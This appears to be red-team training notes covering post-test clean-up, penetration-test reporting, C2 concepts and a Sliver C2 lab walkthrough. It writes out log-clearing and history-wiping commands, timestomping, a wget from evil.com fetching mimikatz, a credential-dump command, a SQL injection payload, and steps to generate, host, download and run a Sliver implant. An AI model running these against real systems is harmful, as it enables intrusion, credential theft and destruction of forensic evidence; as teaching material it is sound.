What is Clean Up?

Clean up is 'The process of removing all artifacts and changes made during testing.'

What are 'artifacts'? In cybersecurity, an artifact is any piece of evidence or data that shows an action took place. As an example:

• Files and folders you created.

• Scripts or executables you uploaded.

• Changes you made to system settings or the Windows Registry.

• Log entries that record your actions.

• Temporary files created by your tools.

Clean Up is the process of systematically finding and deleting all of these digital fingerprints.

Objective: 

The goal is simple to state but hard to execute: 'Restore the environment to its original state.' 

You want the system to look exactly as it did before you ever touched it. If you found the system with a certain configuration, with certain files, and with certain logs, you want to leave it in that exact condition.

Why is Clean Up so important? There are two main reasons

1. Security Maintenance: 

During a penetration test, you might discover and exploit a vulnerability. Maybe you uploaded a tool that opened a port, or you temporarily disabled a security control to test something else.

If you leave that change in place, you have essentially created a new vulnerability. You might have opened a door that a real attacker could then walk through after you're gone.

Clean up prevents you from becoming the very threat you're trying to protect against. It ensures that you don't leave the client's environment less secure than you found it.

2. System Integrity: 

Your testing activities might be disruptive. You might have modified configuration files, killed processes, or changed user accounts.

If you don't revert these changes, the system might not function correctly after the test. Applications could crash, users might lose access, or performance could be degraded. Clean up ensures that business operations can return to normal without any modifications caused by your assessment.

Best Practices for Cleanup

• Document Changes:

  This is the single most important rule of cleanup. You cannot clean up what you don't remember doing. Throughout your entire penetration test or red team operation, you must keep a real-time log of every single change you make to every system.

  • What file did you upload, and where did you put it?

  • What user account did you create?

  • What service did you install?

    Your notes might look like this:

    Machine: 192.168.1.105 (WEB-SRV-01)
    Time: 14:32 - Uploaded PowerView.ps1 to C:\Windows\Temp\
    Time: 14:35 - Ran PowerView to enumerate domain admins. Output saved to C:\Windows\Temp\admins.txt
    Time: 14:40 - Created user 'tempadmin' with password 'P@ssw0rd123!' using net user command.
    Time: 14:45 - Added 'tempadmin' to local administrators group.
    Time: 14:50 - Modified registry key HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters to enable SMB signing (set to 1).
    Time: 15:00 - Downloaded and ran mimikatz.exe from C:\Tools\ on my attack machine to C:\Windows\Temp\mimikatz.exe. Dumped credentials, output saved to C:\Windows\Temp\creds.txt.

• Restore Backups:

  In an ideal world, this is the ultimate cleanup method. If the client has verified, clean backups of the systems you're testing, the simplest and safest way to restore the environment is to just revert to a pre-test backup. This ensures everything is exactly as it was.

  However, this isn't always possible. Backups might not be available, or restoring them might cause too much downtime. In that case, you have to rely on your documentation.

• Verify Security Controls:

  This is a critical step that is often forgotten. During a test, you may have intentionally disabled or bypassed security controls to achieve your objectives. For example:

  • You might have stopped the Windows Defender service (sc stop WinDefend).

  • You might have added an exclusion folder to Windows Defender so it wouldn't scan your tools.

  • You might have disabled a host-based firewall rule.

  After the test, it's not enough to just assume these controls are back. You must verify them. You need to:

  • Check the status of the Windows Defender service.

  • Check the exclusion list in Windows Defender – have you removed your test folders?

  • Check the firewall rules – are they back to their original configuration?

Clean-Up Techniques

• Uninstalling executables and scripts

• Clearing logs

• Timestamping files

• Modifying registry values

Uninstalling executables and scripts

To understand why this is necessary, we need to understand the typical flow of an attack or a penetration test.

When an attacker first gains access to a system, they often have limited capabilities.

The operating system provides basic commands, but to do powerful things like dump passwords, move laterally, or maintain persistence, they need better tools. So, they bring their own.

• They might upload a password dumping tool like Mimikatz to grab credentials from memory.

• They might upload a port scanner to see what other systems are on the network.

• They might upload a backdoor or a C2 implant to maintain persistent access.

• They might run scripts (PowerShell, Python, Bash) to automate their tasks.

All of these actions leave artifacts, the tool files themselves are sitting on the hard drive.

Now, imagine you're the system administrator or an incident responder investigating a potential breach. One of the first things you do is look for suspicious or unknown files. If you find a file named linpeas.sh in a user's tmp folder, your investigation just got a massive head start. You know exactly what tool was used and, by analyzing it, you can often figure out what the attacker did.

Therefore, to avoid this, attackers will uninstall or delete any scripts or executables they used once they are finished with them. They will delete the files. They will empty the Recycle Bin. They will try to securely overwrite the data so it can't be recovered by forensic tools, though simply deleting it is often enough to evade a basic investigation.

Red Team Application: A good red teamer will always have a cleanup script or procedure. After using a tool like Mimikatz, they won't just leave it there. They will have a command ready to securely delete it, often using tools like sdelete (for Windows) or shred (for Linux) to cleans free space by overwriting them multiple times.

Clearing logs

Every operating system keeps detailed logs of its own activity.

When something happens (e.g. a user logs in, a program crashes, a service starts) the system writes it down in a log file.

Let's connect this to our previous point. An attacker uploads and runs mimikatz.exe. What do you think the operating system does? It logs it.

• On Windows:
  • Security Log (Event ID 4688): This event, 'A new process has been created,' would record that a process named mimikatz.exe was created, by which user, and at what exact time.

  • PowerShell Operational Log (Event ID 4103, 4104): If the attacker used PowerShell to download or run Mimikatz, these logs would contain the exact PowerShell commands that were executed. This is incredibly detailed.

  • Application Log: Depending on how Mimikatz was run, it might have generated entries here as well.

• On Linux:
  • /var/log/auth.log or /var/log/secure: These logs track authentication attempts. If the attacker logged in via SSH, the connection would be recorded here.

  • /var/log/syslog or /var/log/messages: These are general system logs that might record the execution of commands or the downloading of files.

  • .bash_history: This file records every command the attacker typed in the Bash shell.

For an incident investigator, these logs are pure gold. They provide a step-by-step timeline of the attacker's actions. They can see:

• 'At 2:03 AM, the attacker logged in via SSH from this IP.'

• 'At 2:05 AM, they ran wget to download a tool.'

• 'At 2:07 AM, they executed that tool.'

• 'At 2:10 AM, they added a new user account.'

This information is invaluable for understanding the breach, containing it, and potentially identifying the attacker.

So, what does an attacker do? They clear these logs to conceal their activities. They want to destroy that timeline. By deleting log entries, they make the investigator's job exponentially harder.

Clearing logs - Windows

On Windows, the primary tool for managing logs is a command-line utility called wevtutil (which stands for Windows Event Log Utility). An attacker with sufficient privileges (usually administrator or SYSTEM) can use this tool to clear individual logs or all logs at once.

For example, the command to clear the Security log is:

wevtutil cl Security

If an attacker runs this command, it will delete all entries from the Security log.

A strong defender might notice that the log is suddenly empty, which is itself a huge red flag.

But a more sophisticated attacker might try to be more specific, only deleting specific event IDs related to their activity, though that's much harder.

Clearing logs - Linux

Most system logs in Linux are stored as text files in the /var/log directory. This includes logs for authentication (/var/log/auth.log or /var/log/secure), system events (/var/log/syslog), and kernel activity.

An attacker can simply delete these files using the rm command:

rm /var/log/auth.log

However, simply deleting the file might be noticeable because the file would be missing. A more stealthy approach is to truncate the file, which empties its contents but leaves the file itself in place. This can be done with a command like:

cat /dev/null > /var/log/auth.log

Cleaning logs - Erasing the Command History

Beyond the system logs, there's another incredibly rich source of information for investigators: the command history.

Imagine you're on a Linux system using the Bash shell. Every command you type is, by default, saved to a history file. This is a feature, not a bug, so you can easily recall and re-run commands you've used before.

• On Linux, for the Bash shell, this history is stored in a file in the user's home directory: ~/.bash_history (the ~ is a shortcut for the user's home directory, like /home/username/).

• On Windows, for PowerShell, a similar history is kept. The location is a bit more complex, but it's typically: 

  C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt.

Now, think about what that history file contains. If an investigator gets access to it, they can see every single command the attacker ran. It's like having a transcript of their entire session. They could see:

• wget http://evil.com/mimikatz.exe

• ./mimikatz.exe sekurlsa::logonpasswords

• ssh administrator@192.168.1.100

• echo "vulnerableuser:newpassword" | chpasswd

This is a complete roadmap of the attack.

So, before an attacker logs off a compromised Linux system, a key step is to clear their command history. The simplest way is to run the command:

history -c

This clears the history for the current session.

Timestamping files

Every file on a modern operating system has metadata associated with it. The most common and important pieces of metadata are timestamps. There are typically three main timestamps:

• Creation Time: When the file was first created on this volume.

• Modification Time: When the file's content was last changed.

• Access Time: When the file was last read or opened.

These timestamps are crucial for investigators. They help build a timeline.

For example, an investigator might find a suspicious DLL file. They look at its timestamps. They see that it was created at 3:00 AM on a Sunday, which is outside of normal business hours. That's suspicious. They then see that several other system files in the same directory also have modified timestamps around the same time. This helps them piece together the scope and timeline of the intrusion.

Now, during their activities, attackers will inevitably interact with files on the system. They might read a configuration file (changing its access time). They might modify a system binary to add a backdoor (changing its modification time). These changes create inconsistencies in the timeline that can be detected.

So, to avoid raising these red flags, attackers can alter the timestamps. They can use tools or system calls to change a file's timestamps to match the timestamps of legitimate, older files in the same directory. This process, called timestomping, makes the malicious file blend in. If all the other system DLLs in C:\Windows\System32 were created in 2020, and your malicious DLL now also says it was created in 2020, it's much less likely to stand out during a cursory investigation.

touch secrets.txt

touch -t 202001010101 secrets.txt

Modifying Registry Values

The final cleanup technique on our list is Modifying Registry Values. This is specific to Windows systems.

First, what is the Windows Registry?

It's a massive, hierarchical database that stores virtually every setting, configuration, and option for the operating system itself, as well as for all the installed applications and hardware.

• It tells Windows which services to start at boot.

• It stores user preferences, like desktop backgrounds and file associations.

• It holds configuration details for applications, like which server a database tool connects to.

• It contains security settings and user account information.

The Registry is organized in a tree structure, just like files and folders on a hard drive. There are five main root keys, but the most important for us are:

• HKEY_LOCAL_MACHINE (HKLM): Stores settings that apply to the entire computer and all its users.

• HKEY_CURRENT_USER (HKCU): Stores settings for the currently logged-in user.

When an attacker performs actions on a Windows system, they often leave traces in the registry.

• If they install a backdoor as a service to ensure it runs at startup, an entry for that service is created in HKLM\SYSTEM\CurrentControlSet\Services.

• If they use a tool that requires certain settings to be changed, those changes might be written to the registry.

• If they disable a security feature like User Account Control (UAC), the change is stored in the registry.

• Even just running certain tools can create registry keys that track their execution.

An investigator with forensic tools can examine the registry and find all of these artifacts. They can find the backdoor service. They can potentially find keys that point to the tools the attacker used.

How do attackers clean up the Registry?

To avoid leaving these traces, attackers will modify or delete the registry values they created or changed.

• Deleting Persistence: If they added a value to the Run key, they will delete that specific value before they leave.

  From the command line, they might use:

  reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f

  This command deletes the value named WindowsUpdate from that key.

• Deleting Service Entries: If they installed a service, they might use: 

  sc delete ServiceName

  to remove it, which also removes its registry entries.

Modifying the registry is delicate. A mistake can make the system unstable or unbootable. This is why it requires careful planning and documentation. But for a thorough cleanup, it's often necessary.

Penetration Testing Report – Overview

Purpose of the Report:

1. Communicate findings to both technical and non-technical stakeholders: This is the dual-audience challenge. Your report must be understandable and useful to both a system administrator who needs to fix a vulnerability and a CEO who needs to understand the business risk.

2. Document vulnerabilities, risks, and business impact: It's not enough to just list technical flaws. You must explain the risk associated with each flaw and, crucially, translate that technical risk into business impact. 'A SQL injection vulnerability on your customer-facing website' is a technical finding. 'An attacker could exploit this SQL injection to steal your entire customer database, leading to regulatory fines, loss of customer trust, and significant reputational damage' is a statement of business impact.

3. Provide actionable remediation steps: A good report doesn't just point out problems; it provides solutions. For every finding, you must give clear, step-by-step instructions on how to fix it. The technical teams on the client side should be able to take your report and immediately start working on the fixes.

Audience:

This is the most critical concept in report writing. You must write for two primary audiences simultaneously.

• Executives/Management (e.g., CIO, CISO, CEO, Board of Directors):
  • Their Focus: Risk, impact, compliance, and money. They don't care about the specific syntax of a SQL injection payload. They care about what that vulnerability means for the business.

  • What they need from the report: A high-level overview. They will read the Executive Summary and the conclusion. They want to know: 'What's our overall security posture? What are our top 3 risks? How much will it cost us if these are exploited? Are we compliant with regulations?' The language must be business-focused, not technical jargon.

• Technical Teams (e.g., System Administrators, Developers, Network Engineers):
  • Their Focus: Details, reproduction, and remediation. They need to understand exactly what the problem is so they can fix it.

  • What they need from the report: They need the vulnerability description, the exact steps to reproduce it, the proof-of-concept code or screenshots, and the precise, step-by-step remediation instructions. They need to know which server, which IP address, which line of code.

A great report serves both audiences. It has an Executive Summary for management, and then detailed technical appendices for the sysadmins and developers.

Core Sections of a PT Report

1. Executive Summary

This is the most important part of the report for your client's leadership. It's a standalone section that summarizes the entire assessment.

• High-level overview of testing outcomes: Start with a brief description of what was tested and when. Then, give an overall summary of the security posture. Was it strong? Were there critical gaps?

• Business risk, compliance gaps, and top vulnerabilities: This is the core. You should list the top 3-5 most critical findings, but described in business terms. 'We found a critical vulnerability in your public-facing web application that could allow an attacker to take full control of the web server. This poses a high risk of data breach and service outage.' You should also mention any findings that put the organization out of compliance with regulations like PCI DSS or GDPR.

2. Scope & Methodology

This section defines the rules of engagement and how you went about your work.

• Defines the scope: It lists exactly what was in scope and, just as importantly, what was out of scope. It includes the specific IP addresses, domain names, applications, and types of testing (e.g., network, web app, wireless) that were included.

• Approach used: You need to state the type of test that was conducted.
  • Black-box: You started with no prior knowledge of the environment, simulating an external attacker.

  • White-box: You were given full knowledge, including credentials, source code, and network diagrams, simulating an insider or a thorough audit.

  • Gray-box: You were given partial knowledge, perhaps standard user credentials, simulating an attacker who has already gained a foothold.

• Tools, frameworks, and manual techniques: You should list the major tools you used (e.g., Nmap, Burp Suite, Metasploit) and describe the manual testing techniques you employed. This adds credibility and transparency to your findings.

3. Findings & Vulnerabilities

This is the technical heart of the report. It should list every vulnerability discovered, typically ordered from highest to lowest risk. For each finding, you should include the following details. This creates a clear, repeatable structure for every issue.

• Vulnerability description + risk rating: A clear, concise description of the vulnerability (e.g., 'SQL Injection in login parameter'). The risk rating is a standardized severity level, often using the CVSS (Common Vulnerability Scoring System) score, or a simpler rating like Critical, High, Medium, Low, or Informational.

• Reproduction steps: A step-by-step guide, written for a technical person, on how to recreate the vulnerability.

  '1. Navigate to https://example.com/login. 2. Enter ' OR 1=1-- in the username field. 3. Enter any password. 4. Click Login. 5. Observe that you are logged in as the first user in the database.'

  This allows the developer to verify the issue.

• Evidence: This proves the vulnerability exists. It can include screenshots of the vulnerability in action, the exact payload used, relevant log entries, or output from a tool.

• Business & technical impact: What are the consequences of this vulnerability? Technical impact: 'An attacker can bypass authentication and gain access to any user account.' Business impact: 'This could lead to unauthorized access to customer data, resulting in a data breach, regulatory fines, and reputational harm.'

• Remediation Recommendations: This is where you provide the fix. Be as specific as possible. 'Implement parameterized queries in the login function to prevent SQL injection. Specifically, review the code in login.php and replace the dynamic SQL string concatenation with prepared statements.'

What is a C2 Framework?

C2 stands for Command and Control. A C2 framework is a collection of tools that enables an operator to remotely communicate with and manage compromised systems. These compromised systems run small programs commonly called implants, agents, or beacons.

A typical C2 setup has two main components:

• C2 Server: This is the central system controlled by the operator (attacker). It is responsible for sending instructions to compromised machines and receiving data or execution results from them.

• Implant (Agent/Beacon): This is a lightweight program installed on a compromised machine. It regularly connects to the C2 server, retrieves instructions, executes them on the local system, and sends the output back to the server.

Why is this necessary? Why not just use a simple reverse shell for each machine?

• Management at Scale: If you compromise 100 machines, managing 100 separate reverse shell windows is a nightmare. A C2 framework provides a single console to manage all your implants, issue commands to many at once, and organize them into groups.

• Resilience and Stealth: C2 frameworks are designed to be stealthy. Instead of a persistent, always-on connection (which is noisy and easy to detect), they often use a technique called 'beaconing' (which we'll discuss next). They also support multiple communication protocols (HTTP, HTTPS, DNS) to blend in with normal traffic.

• Advanced Features: C2 frameworks are packed with features that simplify post-exploitation. They have built-in modules for tasks like:
  • Dumping passwords.

  • Taking screenshots.

  • Uploading and downloading files.

  • Pivoting to other networks.

  • Logging all activity.

Examples: Cobalt Strike, Sliver, Havoc, Mythic, Covenant.

Why C2 Matters in Red Teaming?

• Emulates real APT tactics: 

  Advanced Persistent Threat (APT) groups almost always use C2 frameworks.

  If you want to realistically simulate the threat your organization faces, you need to use the same tools and techniques they do.

  Using a C2 framework elevates your red team exercise from a simple vulnerability scan to a realistic adversary simulation.

• Allows controlled command execution: 

  A C2 framework provides a structured and safe way to execute commands on remote systems. It handles all the complexities of networking, encryption, and error handling.

  You don't have to write a custom backdoor for every operation.

• Enables Operators to control multiple devices at once: 

  This is the core scalability benefit. From a single console, you can see all your active implants. You can select a group of them and issue a command to take a screenshot on every machine simultaneously. You can sort them by domain, by operating system, or by the user who is logged in.

• Explains key operational concepts: Using a C2 framework helps you understand how real-world operations are managed, including:
  • Beaconing: How often implants communicate with the server and how this affects detection and response time.

  • Evasion Detection: Techniques used to make C2 traffic less likely to be detected, such as encryption or disguising traffic as normal network activity.

  • OPSEC (Operational Security): How actions leave traces in logs and how infrastructure and logging must be managed to reduce exposure.

What is beaconing?

Beaconing is a communication pattern where a compromised machine (the implant) does not maintain a constant, open connection to the C2 server. Instead, it periodically 'checks in' or 'phones home' at regular intervals.

In technical terms, the beacon is a small, often encrypted, network request sent from the implant to the C2 server. This request might say, 'I'm alive. Do you have any commands for me?' The C2 server might respond with, 'No commands. Check in again in 60 seconds.' Or it might respond with, 'Yes, here is a command to run: whoami.' The implant then executes that command and sends the output back in the next scheduled beacon.

Key Characteristics:

• Regular, small signals: Beacons are designed to be small and regular. They try to blend in with the background noise of the network. A single DNS query or a small HTTPS request every 60 seconds looks much less suspicious than a continuous stream of unknown traffic.

• Helps maintain persistent, covert contact: Because the connection is not persistent, it's harder for security tools to flag it as anomalous. If the defender blocks the connection, the implant will just keep trying to beacon. If the connection is temporarily lost, the implant will continue its schedule and reconnect when the network allows.

Crucial Distinction: Asynchronous vs. Synchronous

This is a vital technical point.

• Beaconing is Asynchronous: This means the communication is not real-time. The operator issues a command, but the implant won't receive it until its next scheduled beacon, which might be 60 seconds later. The operator then has to wait for the next beacon after that to receive the output. This creates a delay, but it's much stealthier.

• Reverse Shell is Synchronous: A reverse shell creates a persistent, interactive session. When you type a command, it's sent immediately, and the output comes back immediately. This is great for real-time interaction, but it creates a long-lived, easily detectable network connection.

Sliver C2 Framework

Sliver is an open-source Command-and-Control (C2) framework used in penetration testing, red teaming, and adversary emulation to simulate real cyber-attacks and manage compromised machines during an assessment.

What a C2 framework does

In offensive security, a C2 framework lets an operator:

• Deploy an agent (implant) on a target system

• Maintain covert communication with that system

• Send commands, collect data, and move laterally across a network

Sliver provides all of this in a structured, secure, and scalable way.

Core components of Sliver

1. Server

• Central control node where you manage operations

• Handles encrypted communications with compromised hosts

2. Client

• CLI interface used by the operator

• Used to generate payloads, open sessions, and run commands

3. Implants (agents)

• Small programs generated by Sliver and executed on target machines

• They connect back to the server and execute instructions

Sliver C2 – Scenario

Lab Network

Attacker:     10.10.10.3
Target:       10.10.10.5

1) Install Sliver on Kali Linux

Sliver is available in Kali’s repositories.

sudo apt update
sudo apt install sliver -y

Verify installation:

sliver-server -h
sliver-client -h

2) Start the Sliver Server

Launch the server:

sliver-server

You should see:

sliver >

This console is used to control all operations.

3) Start the Listener

In the Sliver console:

mtls --lhost 10.10.10.3 --lport 8888

Expected output:

[*] Starting mtls listener on 10.10.10.3:8888

Kali is now waiting for incoming callbacks.

You can verify using:

jobs

You can kill the Listener by:

jobs --kill <id>

4) Generate a Linux Implant

We will create a Linux ELF implant that calls back to Kali over HTTP.

generate --os linux --arch amd64 \
  --mtls 10.10.10.3:8888 \
  --skip-symbols \
  --save /home/kali/Desktop/debian_implant

Sliver will output something similar to:

[*] Implant saved to /home/kali/Desktop/debian_implant

5) Host the Implant for Download

Open a new terminal on Kali:

cd /home/kali/Desktop/ (Where you saved your implant)
python3 -m http.server 8000

This creates a simple web server to deliver the payload.

6) Transfer the Implant to the target

On the target machine:

cd /tmp/
wget http://10.10.10.3:8000/debian_implant

(Replace debian_implant with the actual filename generated in your lab.)

7) Execute the Implant on the Target

chmod +x debian_implant 
./debian_implant 

No output is expected. The implant runs silently.

8) Catch the Callback in Sliver

Back in the Sliver console:

sessions

Expected result:

ID  Name            Transport  Remote Address
1   debian_implant    mtls      10.10.10.4

If you see this, the C2 channel is working successfully.

9) Interact with the Compromised Machine

use <id>

You can now execute remote commands:

whoami
uname -a
pwd

These commands run on the victim machine.